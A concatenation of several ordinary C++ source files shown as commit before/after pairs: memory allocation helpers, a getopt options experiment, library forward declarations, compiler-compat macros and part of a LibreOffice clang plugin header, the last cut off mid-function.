abc\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::memory globals - management\n\n\nnamespace abc {\n\nnamespace memory {\n\n\/** Requests the dynamic allocation of a memory block of the specified number of bytes.\n\nTODO: comment signature.\n*\/\ninline void * _raw_alloc(size_t cb) {\n void * p(::malloc(cb));\n if (!p) {\n ABC_THROW(memory_allocation_error, ());\n }\n return p;\n}\n\n\n\/** Resizes a dynamically allocated memory block.\n\nTODO: comment signature.\n*\/\ninline void * _raw_realloc(void * p, size_t cb) {\n p = ::realloc(p, cb);\n if (!p) {\n ABC_THROW(memory_allocation_error, ());\n }\n return p;\n}\n\n\n\/** Requests the dynamic allocation of a memory block large enough to contain c objects of type T,\nplus an additional cbExtra bytes. With specialization that ignores types (void) and allocates the\nspecified number of bytes.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline std::unique_ptr<T, freeing_deleter<T>> alloc(size_t c = 1, size_t cbExtra = 0) {\n typedef typename std::unique_ptr<T, freeing_deleter<T>>::element_type TElt;\n return std::unique_ptr<T, freeing_deleter<T>>(\n static_cast<TElt *>(_raw_alloc(sizeof(TElt) * c + cbExtra))\n );\n}\ntemplate <>\ninline std::unique_ptr<void, freeing_deleter<void>> alloc(\n size_t cb \/*= 1*\/, size_t cbExtra \/*= 0*\/\n) {\n return std::unique_ptr<void, freeing_deleter<void>>(_raw_alloc(cb + cbExtra));\n}\n\n\n\/** Releases a block of dynamically allocated memory.\n\npt\n Pointer to the memory block to be released.\n*\/\ntemplate <typename T>\ninline void free(T const * pt) {\n ::free(const_cast<T *>(pt));\n}\n\n\n\/** Changes the size of a block of dynamically allocated memory. Both overloads have a\nspecialization that ignores pointer types (void), and allocates the specified number of bytes.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline T * realloc(T * pt, size_t c, size_t cbExtra = 0) {\n return static_cast<T *>(_raw_realloc(pt, sizeof(T) * c + cbExtra));\n}\ntemplate <>\ninline void * realloc(void * p, size_t cb, size_t cbExtra \/*= 0*\/) {\n return _raw_realloc(p, cb + cbExtra);\n}\ntemplate <typename T>\ninline void realloc(std::unique_ptr<T, freeing_deleter<T>> * ppt, size_t c, size_t cbExtra = 0) {\n typedef typename std::unique_ptr<T, freeing_deleter<T>>::element_type TElt;\n TElt * pt(static_cast<TElt *>(_raw_realloc(ppt->get(), sizeof(TElt) * c + cbExtra)));\n ppt->release();\n ppt->reset(pt);\n}\ntemplate <>\ninline void realloc(\n std::unique_ptr<void, freeing_deleter<void>> * pp, size_t cb, size_t cbExtra \/*= 0*\/\n) {\n void * p(_raw_realloc(pp->get(), cb + cbExtra));\n pp->release();\n pp->reset(p);\n}\n\n} \/\/namespace memory\n\n} \/\/namespace abc\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::memory globals - manipulation\n\n\nnamespace abc {\n\nnamespace memory {\n\n\/** Sets to the value 0 every item in an array.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline T * clear(T * ptDst, size_t c = 1) {\n return static_cast<T *>(clear<void>(ptDst, sizeof(T) * c));\n}\ntemplate <>\ninline void * clear(void * pDst, size_t cb \/*= 1*\/) {\n#if ABC_HOST_API_POSIX\n ::memset(pDst, 0, cb);\n#elif ABC_HOST_API_WIN32\n ::RtlZeroMemory(pDst, cb);\n#else\n #error TODO-PORT: HOST_API\n#endif\n return pDst;\n}\n\n\n\/** Copies memory, by number of items. With specialization that ignores pointer types (void), and\ncopies the specified number of bytes.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline T * copy(T * ptDst, T const * ptSrc) {\n \/\/ Optimization: if the copy can be made by mem-reg-mem transfers, avoid calling a function, so\n \/\/ that the compiler can inline the copy.\n switch (sizeof(T)) {\n case sizeof(int8_t):\n *reinterpret_cast<int8_t *>(ptDst) = *reinterpret_cast<int8_t const *>(ptSrc);\n break;\n case sizeof(int16_t):\n *reinterpret_cast<int16_t *>(ptDst) = *reinterpret_cast<int16_t const *>(ptSrc);\n break;\n case sizeof(int32_t):\n *reinterpret_cast<int32_t *>(ptDst) = *reinterpret_cast<int32_t const *>(ptSrc);\n break;\n case sizeof(int64_t):\n *reinterpret_cast<int64_t *>(ptDst) = *reinterpret_cast<int64_t const *>(ptSrc);\n break;\n default:\n copy<void>(ptDst, ptSrc, sizeof(T));\n break;\n }\n return static_cast<T *>(ptDst);\n}\n\/\/ Nobody should want to use this, but it’s here for consistency.\ntemplate <>\ninline void * copy(void * pDst, void const * pSrc) {\n *reinterpret_cast<int8_t *>(pDst) = *reinterpret_cast<int8_t const *>(pSrc);\n return pDst;\n}\ntemplate <typename T>\ninline T * copy(T * ptDst, T const * ptSrc, size_t c) {\n return static_cast<T *>(copy<void>(ptDst, ptSrc, sizeof(T) * c));\n}\ntemplate <>\ninline void * copy(void * pDst, void const * pSrc, size_t cb) {\n#if ABC_HOST_API_POSIX\n ::memcpy(pDst, pSrc, cb);\n#elif ABC_HOST_API_WIN32\n ::RtlMoveMemory(pDst, pSrc, cb);\n#else\n #error TODO-PORT: HOST_API\n#endif\n return pDst;\n}\n\n\n\/** Copies possibly overlapping memory, by number of items. With specialization that ignores pointer\ntypes (void), and copies the specified number of bytes.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline T * move(T * ptDst, T const * ptSrc, size_t c) {\n return static_cast<T *>(move<void>(ptDst, ptSrc, sizeof(T) * c));\n}\ntemplate <>\ninline void * move(void * pDst, void const * pSrc, size_t cb) {\n#if ABC_HOST_API_POSIX\n ::memmove(pDst, pSrc, cb);\n#elif ABC_HOST_API_WIN32\n ::RtlMoveMemory(pDst, pSrc, cb);\n#else\n #error TODO-PORT: HOST_API\n#endif\n return pDst;\n}\n\n\n\/** Copies a value over each item of a static array.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline T * set(T * ptDst, T const & tValue, size_t c) {\n switch (sizeof(T)) {\n#if ABC_HOST_API_POSIX\n case sizeof(int8_t):\n ::memset(ptDst, tValue, c);\n break;\n#elif ABC_HOST_API_WIN32\n case sizeof(UCHAR):\n ::RtlFillMemory(ptDst, c, tValue);\n break;\n#endif\n default:\n for (T const * ptDstMax(ptDst + c); ptDst < ptDstMax; ++ptDst) {\n copy(ptDst, &tValue);\n }\n break;\n }\n return ptDst;\n}\n\n} \/\/namespace memory\n\n} \/\/namespace abc\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#endif \/\/ifdef _ABC_MEMORY_HXX\n\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <vector>\n#include <algorithm>\n\nusing namespace std;\n\nstruct option\n{\n option (\n string optionShortName,\n string optionLongName,\n string optionDescription)\n : fOptionShortName (optionShortName),\n fOptionLongName (optionLongName),\n fOptionDescription (optionDescription)\n {}\n \n string operator() () const\n { return fOptionDescription; }\n\n void print (ostream& os) const\n {\n os <<\n \"fOptionShortName:\" << fOptionShortName << endl <<\n \"fOptionLongName:\" << fOptionLongName << endl <<\n \"fOptionDescription:\" << fOptionDescription << endl;\n }\n\n private:\n string fOptionShortName;\n string fOptionLongName;\n string fOptionDescription;\n};\n\nostream& operator<< (ostream& os, const option& elt)\n{\n elt.print (os);\n return os;\n}\n\nint main()\n{\n vector<option> vec {\n option (\"1short\", \"1long\", \"descr1\"),\n option (\"2short\", \"1long\", \"descr2\")\n };\n\n int counter = 0;\n cout <<\n \"The contents of 'vec' is:\" << endl << endl;\n for (option i : vec)\n {\n cout <<\n \"Element \" << counter << \":\" << endl <<\n i << endl;\n counter++;\n }\n\n cout << \"Which element should be printed? \";\n \n int n;\n cin >> n;\n\n cout << endl;\n \n if (n < vec.size ())\n cout <<\n \"Element \" << n << \" constains:\" << endl <<\n endl <<\n vec [n] << endl;\n else\n cout <<\n \"Sorry, only elements from 0 to \" << vec.size () - 1 << \" exist\" << endl;\n}\n<commit_msg>c++ functors tests 2<commit_after>#include <iostream>\n#include <vector>\n#include <algorithm>\n#include <iomanip> \/\/ setw, set::precision, ...\n\n#include <getopt.h>\n\nusing namespace std;\n\nstruct myOption\n{\n myOption (\n string optionShortName,\n string optionLongName,\n string optionDescription)\n : fOptionShortName (optionShortName),\n fOptionLongName (optionLongName),\n fOptionDescription (optionDescription)\n {\n fOptionSelected = 0;\n }\n \n string operator() () const\n { return fOptionDescription; }\n\n void print (ostream& os) const\n {\n const int fieldWidth = 19;\n \n os <<\n setw(fieldWidth) <<\n \"fOptionShortName\" << \" : \" << fOptionShortName <<\n endl <<\n setw(fieldWidth) <<\n \"fOptionLongName\" << \" : \" << fOptionLongName <<\n endl <<\n setw(fieldWidth) <<\n \"fOptionDescription\" << \" : \" << fOptionDescription <<\n endl <<\n setw(fieldWidth) <<\n \"fOptionSelected\" << \" : \" << fOptionSelected <<\n endl;\n }\n\n private:\n string fOptionShortName;\n string fOptionLongName;\n string fOptionDescription;\n\n int fOptionSelected;\n};\n\nostream& operator<< (ostream& os, const myOption& elt)\n{\n elt.print (os);\n return os;\n}\n\n\/\/_______________________________________________________________________________\nvoid analyzeOptions (\n int argc,\n char* argv[])\n{\n}\n\nint main (int argc, char *argv[])\n{\n vector<myOption> vec {\n myOption (\"1short\", \"1long\", \"descr1\"),\n myOption (\"2short\", \"1long\", \"descr2\")\n };\n\n int counter = 0;\n cout <<\n \"The contents of 'vec' is:\" <<\n endl << endl;\n for (myOption i : vec)\n {\n cout <<\n \"Element \" << counter << \":\" <<\n endl <<\n i <<\n endl;\n counter++;\n }\n\n\/*\nstruct option\n{\n const char *name;\n \/\/ has_arg can't be an enum because some compilers complain about\n \/\/ type mismatches in all the code that assumes it is an int.\n int has_arg;\n int *flag;\n int val;\n};\n*\/\n\n vector<struct option> myLongOptions {\n option (\"1short\", no_argument, &vec [0].fOptionSelected, 1),\n option (\"1long\", no_argument, &vec [0].fOptionSelected, 1),\n \n option (\"2short\", required_argument, &vec [1].fOptionSelected, 1),\n option (\"2long\", required_argument, &vec [1].fOptionSelected, 1),\n \n option (0, 0, 0, 0) \/\/ option trailer\n };\n\n\n\n\/*\n cout << \"Which element should be printed? \";\n \n int n;\n cin >> n;\n\n cout << endl;\n \n if (n < vec.size ())\n cout <<\n \"Element \" << n << \" constains:\" <<\n endl <<\n endl <<\n vec [n] <<\n endl;\n else\n cout <<\n \"Sorry, only elements from 0 to \" << vec.size () - 1 << \" exist\" <<\n endl;\n*\/\n\n analyzeOptions (\n argc, argv);\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\nThis file is part of the ORK library.\nFull copyright and license terms can be found in the LICENSE.txt file.\n*\/\n#pragma once\n#include \"ork\/ork.hpp\"\n\n#if ORK_USE_GLM\n# include \"glm\/fwd.hpp\"\n#endif \/\/ ORK_USE_GLM\n\nnamespace ork {\n\n\n\/*\nFrom color.hpp\n*\/\nenum class color_space;\n#if ORK_USE_GLM\nusing color4 = glm::vec4;\n#endif \/\/ ORK_USE_GLM\n\n\/*\nFrom command_line.hpp\n*\/\n#if ORK_USE_BOOST\nclass command_handler;\n#endif \/\/ ORK_USE_BOOST\n\n\/*\nFrom distribution.hpp\n*\/\n#if ORK_USE_BOOST\nclass command_handler;\nclass random;\n#endif \/\/ ORK_USE_BOOST\ntemplate<typename T>\nclass triangle_distribution;\ntemplate<typename T>\nclass trapezoid_distribution;\n\n\/*\nFrom file_utils.hpp\n*\/\ntemplate<class functor, class iter_t, class sort>\nstruct directory_executer;\ntemplate<class functor, class search_type = flat_search, class sort_type = unsorted>\nstruct iterate_directory;\ntemplate<class T>\nstruct directory_range;\n\n\/*\nFrom filter.hpp\n*\/\n#if ORK_USE_BOOST\ntemplate<unsigned C>\nstruct ring;\ntemplate<unsigned order, unsigned inverse_alpha>\nstruct butterworth;\n#endif \/\/ ORK_USE_BOOST\n\n\/*\nFrom geometry.hpp\n*\/\nenum class angle;\ntemplate<angle>\nstruct circle;\n\nnamespace GLM {\n\nclass bounding_box;\nclass interval;\nstruct segment;\nclass chain;\n\nnamespace MC {\nstruct view;\nstruct rotated_view;\n} \/\/ namespace MC\n\n} \/\/ namespace GLM\n\n\/*\nFrom glm.hpp\n*\/\nnamespace GLM {\n\nstruct dunit3;\ntemplate<typename T>\nstruct default_epsilon_factor;\n\n} \/\/ namespace GLM\n\n\/*\nFrom html.hpp\n*\/\nenum class align;\nenum class border;\n\nnamespace html {\n\nstruct exportable;\nstruct pair;\nstruct string;\nstruct heading;\nstruct page_break;\nstruct padding;\nstruct image;\nstruct style;\nstruct image_style;\nstruct div_style;\nstruct table_style;\nstruct line_style;\nstruct style_set;\nstruct header;\nstruct line;\nstruct label;\nstruct table_element;\nstruct table;\nstruct div;\nstruct body;\nstruct document;\n\n} \/\/ namespace html\n\n\n} \/\/ namespace ork\n<commit_msg>Added memory to fwd<commit_after>\/*\nThis file is part of the ORK library.\nFull copyright and license terms can be found in the LICENSE.txt file.\n*\/\n#pragma once\n#include \"ork\/ork.hpp\"\n\n#if ORK_USE_GLM\n# include \"glm\/fwd.hpp\"\n#endif \/\/ ORK_USE_GLM\n\nnamespace ork {\n\n\n\/*\nFrom color.hpp\n*\/\nenum class color_space;\n#if ORK_USE_GLM\nusing color4 = glm::vec4;\n#endif \/\/ ORK_USE_GLM\n\n\/*\nFrom command_line.hpp\n*\/\n#if ORK_USE_BOOST\nclass command_handler;\n#endif \/\/ ORK_USE_BOOST\n\n\/*\nFrom distribution.hpp\n*\/\n#if ORK_USE_BOOST\nclass command_handler;\nclass random;\n#endif \/\/ ORK_USE_BOOST\ntemplate<typename T>\nclass triangle_distribution;\ntemplate<typename T>\nclass trapezoid_distribution;\n\n\/*\nFrom file_utils.hpp\n*\/\ntemplate<class functor, class iter_t, class sort>\nstruct directory_executer;\ntemplate<class functor, class search_type, class sort_type>\nstruct iterate_directory;\ntemplate<class T>\nstruct directory_range;\n\n\/*\nFrom filter.hpp\n*\/\n#if ORK_USE_BOOST\ntemplate<unsigned C>\nstruct ring;\ntemplate<unsigned order, unsigned inverse_alpha>\nstruct butterworth;\n#endif \/\/ ORK_USE_BOOST\n\n\/*\nFrom geometry.hpp\n*\/\nenum class angle;\ntemplate<angle>\nstruct circle;\n\nnamespace GLM {\n\nclass bounding_box;\nclass interval;\nstruct segment;\nclass chain;\n\nnamespace MC {\nstruct view;\nstruct rotated_view;\n} \/\/ namespace MC\n\n} \/\/ namespace GLM\n\n\/*\nFrom glm.hpp\n*\/\nnamespace GLM {\n\nstruct dunit3;\ntemplate<typename T>\nstruct default_epsilon_factor;\n\n} \/\/ namespace GLM\n\n\/*\nFrom html.hpp\n*\/\nenum class align;\nenum class border;\n\nnamespace html {\n\nstruct exportable;\nstruct pair;\nstruct string;\nstruct heading;\nstruct page_break;\nstruct padding;\nstruct image;\nstruct style;\nstruct image_style;\nstruct div_style;\nstruct table_style;\nstruct line_style;\nstruct style_set;\nstruct header;\nstruct line;\nstruct label;\nstruct table_element;\nstruct table;\nstruct div;\nstruct body;\nstruct document;\n\n} \/\/ namespace html\n\n\n\/*\nFrom memory.hpp\n*\/\ntemplate<typename T>\nstruct default_deleter;\ntemplate<typename T>\nstruct singleton_deleter;\ntemplate<class T, class D>\nclass value_ptr;\ntemplate<typename T, typename D>\nclass shared_ptr;\n\n} \/\/ namespace ork\n<|endoftext|>"} {"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright (c) 2015 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/ http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#ifndef CPM_COMPAT_HPP\n#define CPM_COMPAT_HPP\n\n#ifdef __clang__\n#define cpp14_constexpr constexpr\n#else\n#define cpp14_constexpr\n#endif\n\n\/\/Fix an assertion failed in Intel C++ Compiler\n\n#ifdef __INTEL_COMPILER\n#define intel_decltype_auto auto\n#else\n#define intel_decltype_auto decltype(auto)\n#endif\n\n#endif \/\/CPM_COMPAT_HPP\n<commit_msg>Safety for macros<commit_after>\/\/=======================================================================\n\/\/ Copyright (c) 2015 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/ http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#ifndef CPM_COMPAT_HPP\n#define CPM_COMPAT_HPP\n\n#ifndef cpp14_constexpr\n#ifdef __clang__\n#define cpp14_constexpr constexpr\n#else\n#define cpp14_constexpr\n#endif\n#endif\n\n\/\/Fix an assertion failed in Intel C++ Compiler\n\n#ifndef intel_decltype_auto\n#ifdef __INTEL_COMPILER\n#define intel_decltype_auto auto\n#else\n#define intel_decltype_auto decltype(auto)\n#endif\n#endif\n\n#endif \/\/CPM_COMPAT_HPP\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * Based on LLVM\/Clang.\n *\n * This file is distributed under the University of Illinois Open Source\n * License. See LICENSE.TXT for details.\n *\n *\/\n\n#ifndef PLUGIN_H\n#define PLUGIN_H\n\n#include <config_clang.h>\n\n#include <clang\/AST\/ASTContext.h>\n#include <clang\/AST\/RecursiveASTVisitor.h>\n#include <clang\/Basic\/FileManager.h>\n#include <clang\/Basic\/SourceManager.h>\n#include <clang\/Frontend\/CompilerInstance.h>\n#include <clang\/Lex\/Preprocessor.h>\n#include <unordered_map>\n\n#if __clang_major__ < 3 || __clang_major__ == 3 && __clang_minor__ < 2\n#include <clang\/Rewrite\/Rewriter.h>\n#else\n#include <clang\/Rewrite\/Core\/Rewriter.h>\n#endif\n\nusing namespace clang;\nusing namespace llvm;\nusing namespace std;\n\nnamespace loplugin\n{\n\nclass PluginHandler;\n\n\/**\n Base class for plugins.\n\n If you want to create a non-rewriter action, inherit from this class. Remember to also\n use Plugin::Registration.\n*\/\nclass Plugin\n {\n public:\n struct InstantiationData\n {\n const char* name;\n PluginHandler& handler;\n CompilerInstance& compiler;\n Rewriter* rewriter;\n };\n explicit Plugin( const InstantiationData& data );\n virtual ~Plugin();\n virtual void run() = 0;\n template< typename T > class Registration;\n enum { isPPCallback = false };\n \/\/ Returns location right after the end of the token that starts at the given location.\n SourceLocation locationAfterToken( SourceLocation location );\n protected:\n DiagnosticBuilder report( DiagnosticsEngine::Level level, StringRef message, SourceLocation loc = SourceLocation()) const;\n bool ignoreLocation( SourceLocation loc );\n bool ignoreLocation( const Decl* decl );\n bool ignoreLocation( const Stmt* stmt );\n CompilerInstance& compiler;\n PluginHandler& handler;\n \/**\n Returns the parent of the given AST node. Clang's internal AST representation doesn't provide this information,\n it can only provide children, but getting the parent is often useful for inspecting a part of the AST.\n *\/\n const Stmt* parentStmt( const Stmt* stmt );\n Stmt* parentStmt( Stmt* stmt );\n private:\n static void registerPlugin( Plugin* (*create)( const InstantiationData& ), const char* optionName, bool isPPCallback, bool byDefault );\n template< typename T > static Plugin* createHelper( const InstantiationData& data );\n enum { isRewriter = false };\n const char* name;\n static unordered_map< const Stmt*, const Stmt* > parents;\n static void buildParents( CompilerInstance& compiler );\n };\n\n\/**\n Base class for rewriter plugins.\n\n Remember to also use Plugin::Registration.\n*\/\nclass RewritePlugin\n : public Plugin\n {\n public:\n explicit RewritePlugin( const InstantiationData& data );\n protected:\n enum RewriteOption\n {\n \/\/ This enum allows passing just 'RemoveLineIfEmpty' to functions below.\n \/\/ If the resulting line would be completely empty, it'll be removed.\n RemoveLineIfEmpty = 1 << 0,\n \/\/ Use this to remove the declaration\/statement as a whole, i.e. all whitespace before the statement\n \/\/ and the trailing semicolor (is not part of the AST element range itself).\n \/\/ The trailing semicolon must be present.\n RemoveWholeStatement = 1 << 1,\n \/\/ Removes also all whitespace preceding and following the expression (completely, so that\n \/\/ the preceding and following tokens would be right next to each other, follow with insertText( \" \" )\n \/\/ if this is not wanted). Despite the name, indentation whitespace is not removed.\n RemoveAllWhitespace = 1 << 2\n };\n struct RewriteOptions\n : public Rewriter::RewriteOptions\n {\n RewriteOptions();\n RewriteOptions( RewriteOption option );\n const int flags;\n };\n \/\/ syntactic sugar to be able to write 'RemoveLineIfEmpty | RemoveWholeStatement'\n friend RewriteOption operator|( RewriteOption option1, RewriteOption option2 );\n \/\/ These following insert\/remove\/replaceText functions map to functions\n \/\/ in clang::Rewriter, with these differences:\n \/\/ - they (more intuitively) return false on failure rather than true\n \/\/ - they report a warning when the change cannot be done\n \/\/ - There are more options for easier removal of surroundings of a statement\/expression.\n bool insertText( SourceLocation Loc, StringRef Str,\n bool InsertAfter = true, bool indentNewLines = false );\n bool insertTextAfter( SourceLocation Loc, StringRef Str );\n bool insertTextAfterToken( SourceLocation Loc, StringRef Str );\n bool insertTextBefore( SourceLocation Loc, StringRef Str );\n bool removeText( SourceLocation Start, unsigned Length, RewriteOptions opts = RewriteOptions());\n bool removeText( CharSourceRange range, RewriteOptions opts = RewriteOptions());\n bool removeText( SourceRange range, RewriteOptions opts = RewriteOptions());\n bool replaceText( SourceLocation Start, unsigned OrigLength, StringRef NewStr );\n bool replaceText( SourceRange range, StringRef NewStr );\n bool replaceText( SourceRange range, SourceRange replacementRange );\n Rewriter* rewriter;\n private:\n template< typename T > friend class Plugin::Registration;\n enum { isRewriter = true };\n bool reportEditFailure( SourceLocation loc );\n bool adjustRangeForOptions( CharSourceRange* range, RewriteOptions options );\n };\n\n\/**\n Plugin registration helper.\n\n If you create a new helper class, create also an instance of this class to automatically register it.\n The passed argument is name of the plugin, used for explicitly invoking rewriter plugins\n (it is ignored for non-rewriter plugins).\n\n @code\n static Plugin::Registration< NameOfClass > X( \"nameofclass\" );\n @endcode\n*\/\ntemplate< typename T >\nclass Plugin::Registration\n {\n public:\n Registration( const char* optionName, bool byDefault = !T::isRewriter );\n };\n\nclass RegistrationCreate\n {\n public:\n template< typename T, bool > static T* create( const Plugin::InstantiationData& data );\n };\n\n\/\/\/\/\/\n\ninline\nPlugin::~Plugin()\n {\n }\n\ninline\nbool Plugin::ignoreLocation( const Decl* decl )\n {\n return ignoreLocation( decl->getLocation());\n }\n\ninline\nbool Plugin::ignoreLocation( const Stmt* stmt )\n {\n return ignoreLocation( stmt->getLocStart());\n }\n\ntemplate< typename T >\nPlugin* Plugin::createHelper( const InstantiationData& data )\n {\n return new T( data );\n }\n\ntemplate< typename T >\ninline\nPlugin::Registration< T >::Registration( const char* optionName, bool byDefault )\n {\n registerPlugin( &T::template createHelper< T >, optionName, T::isPPCallback, byDefault );\n }\n\ninline\nRewritePlugin::RewriteOptions::RewriteOptions()\n : flags( 0 )\n {\n }\n\ninline\nRewritePlugin::RewriteOptions::RewriteOptions( RewriteOption option )\n : flags( option )\n {\n \/\/ Note that 'flags' stores also RemoveLineIfEmpty, it must be kept in sync with the base class.\n if( flags & RewritePlugin::RemoveLineIfEmpty )\n this->RemoveLineIfEmpty = true;\n }\n\ninline\nRewritePlugin::RewriteOption operator|( RewritePlugin::RewriteOption option1, RewritePlugin::RewriteOption option2 )\n {\n return static_cast< RewritePlugin::RewriteOption >( int( option1 ) | int( option2 ));\n }\n\n} \/\/ namespace\n\n#endif \/\/ COMPILEPLUGIN_H\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>Handle ImplicitCastExpr w\/ invalid loc from Objective C code<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * Based on LLVM\/Clang.\n *\n * This file is distributed under the University of Illinois Open Source\n * License. See LICENSE.TXT for details.\n *\n *\/\n\n#ifndef PLUGIN_H\n#define PLUGIN_H\n\n#include <config_clang.h>\n\n#include <clang\/AST\/ASTContext.h>\n#include <clang\/AST\/RecursiveASTVisitor.h>\n#include <clang\/Basic\/FileManager.h>\n#include <clang\/Basic\/SourceManager.h>\n#include <clang\/Frontend\/CompilerInstance.h>\n#include <clang\/Lex\/Preprocessor.h>\n#include <unordered_map>\n\n#if __clang_major__ < 3 || __clang_major__ == 3 && __clang_minor__ < 2\n#include <clang\/Rewrite\/Rewriter.h>\n#else\n#include <clang\/Rewrite\/Core\/Rewriter.h>\n#endif\n\nusing namespace clang;\nusing namespace llvm;\nusing namespace std;\n\nnamespace loplugin\n{\n\nclass PluginHandler;\n\n\/**\n Base class for plugins.\n\n If you want to create a non-rewriter action, inherit from this class. Remember to also\n use Plugin::Registration.\n*\/\nclass Plugin\n {\n public:\n struct InstantiationData\n {\n const char* name;\n PluginHandler& handler;\n CompilerInstance& compiler;\n Rewriter* rewriter;\n };\n explicit Plugin( const InstantiationData& data );\n virtual ~Plugin();\n virtual void run() = 0;\n template< typename T > class Registration;\n enum { isPPCallback = false };\n \/\/ Returns location right after the end of the token that starts at the given location.\n SourceLocation locationAfterToken( SourceLocation location );\n protected:\n DiagnosticBuilder report( DiagnosticsEngine::Level level, StringRef message, SourceLocation loc = SourceLocation()) const;\n bool ignoreLocation( SourceLocation loc );\n bool ignoreLocation( const Decl* decl );\n bool ignoreLocation( const Stmt* stmt );\n CompilerInstance& compiler;\n PluginHandler& handler;\n \/**\n Returns the parent of the given AST node. Clang's internal AST representation doesn't provide this information,\n it can only provide children, but getting the parent is often useful for inspecting a part of the AST.\n *\/\n const Stmt* parentStmt( const Stmt* stmt );\n Stmt* parentStmt( Stmt* stmt );\n private:\n static void registerPlugin( Plugin* (*create)( const InstantiationData& ), const char* optionName, bool isPPCallback, bool byDefault );\n template< typename T > static Plugin* createHelper( const InstantiationData& data );\n enum { isRewriter = false };\n const char* name;\n static unordered_map< const Stmt*, const Stmt* > parents;\n static void buildParents( CompilerInstance& compiler );\n };\n\n\/**\n Base class for rewriter plugins.\n\n Remember to also use Plugin::Registration.\n*\/\nclass RewritePlugin\n : public Plugin\n {\n public:\n explicit RewritePlugin( const InstantiationData& data );\n protected:\n enum RewriteOption\n {\n \/\/ This enum allows passing just 'RemoveLineIfEmpty' to functions below.\n \/\/ If the resulting line would be completely empty, it'll be removed.\n RemoveLineIfEmpty = 1 << 0,\n \/\/ Use this to remove the declaration\/statement as a whole, i.e. all whitespace before the statement\n \/\/ and the trailing semicolor (is not part of the AST element range itself).\n \/\/ The trailing semicolon must be present.\n RemoveWholeStatement = 1 << 1,\n \/\/ Removes also all whitespace preceding and following the expression (completely, so that\n \/\/ the preceding and following tokens would be right next to each other, follow with insertText( \" \" )\n \/\/ if this is not wanted). Despite the name, indentation whitespace is not removed.\n RemoveAllWhitespace = 1 << 2\n };\n struct RewriteOptions\n : public Rewriter::RewriteOptions\n {\n RewriteOptions();\n RewriteOptions( RewriteOption option );\n const int flags;\n };\n \/\/ syntactic sugar to be able to write 'RemoveLineIfEmpty | RemoveWholeStatement'\n friend RewriteOption operator|( RewriteOption option1, RewriteOption option2 );\n \/\/ These following insert\/remove\/replaceText functions map to functions\n \/\/ in clang::Rewriter, with these differences:\n \/\/ - they (more intuitively) return false on failure rather than true\n \/\/ - they report a warning when the change cannot be done\n \/\/ - There are more options for easier removal of surroundings of a statement\/expression.\n bool insertText( SourceLocation Loc, StringRef Str,\n bool InsertAfter = true, bool indentNewLines = false );\n bool insertTextAfter( SourceLocation Loc, StringRef Str );\n bool insertTextAfterToken( SourceLocation Loc, StringRef Str );\n bool insertTextBefore( SourceLocation Loc, StringRef Str );\n bool removeText( SourceLocation Start, unsigned Length, RewriteOptions opts = RewriteOptions());\n bool removeText( CharSourceRange range, RewriteOptions opts = RewriteOptions());\n bool removeText( SourceRange range, RewriteOptions opts = RewriteOptions());\n bool replaceText( SourceLocation Start, unsigned OrigLength, StringRef NewStr );\n bool replaceText( SourceRange range, StringRef NewStr );\n bool replaceText( SourceRange range, SourceRange replacementRange );\n Rewriter* rewriter;\n private:\n template< typename T > friend class Plugin::Registration;\n enum { isRewriter = true };\n bool reportEditFailure( SourceLocation loc );\n bool adjustRangeForOptions( CharSourceRange* range, RewriteOptions options );\n };\n\n\/**\n Plugin registration helper.\n\n If you create a new helper class, create also an instance of this class to automatically register it.\n The passed argument is name of the plugin, used for explicitly invoking rewriter plugins\n (it is ignored for non-rewriter plugins).\n\n @code\n static Plugin::Registration< NameOfClass > X( \"nameofclass\" );\n @endcode\n*\/\ntemplate< typename T >\nclass Plugin::Registration\n {\n public:\n Registration( const char* optionName, bool byDefault = !T::isRewriter );\n };\n\nclass RegistrationCreate\n {\n public:\n template< typename T, bool > static T* create( const Plugin::InstantiationData& data );\n };\n\n\/\/\/\/\/\n\ninline\nPlugin::~Plugin()\n {\n }\n\ninline\nbool Plugin::ignoreLocation( const Decl* decl )\n {\n return ignoreLocation( decl->getLocation());\n }\n\ninline\nbool Plugin::ignoreLocation( const 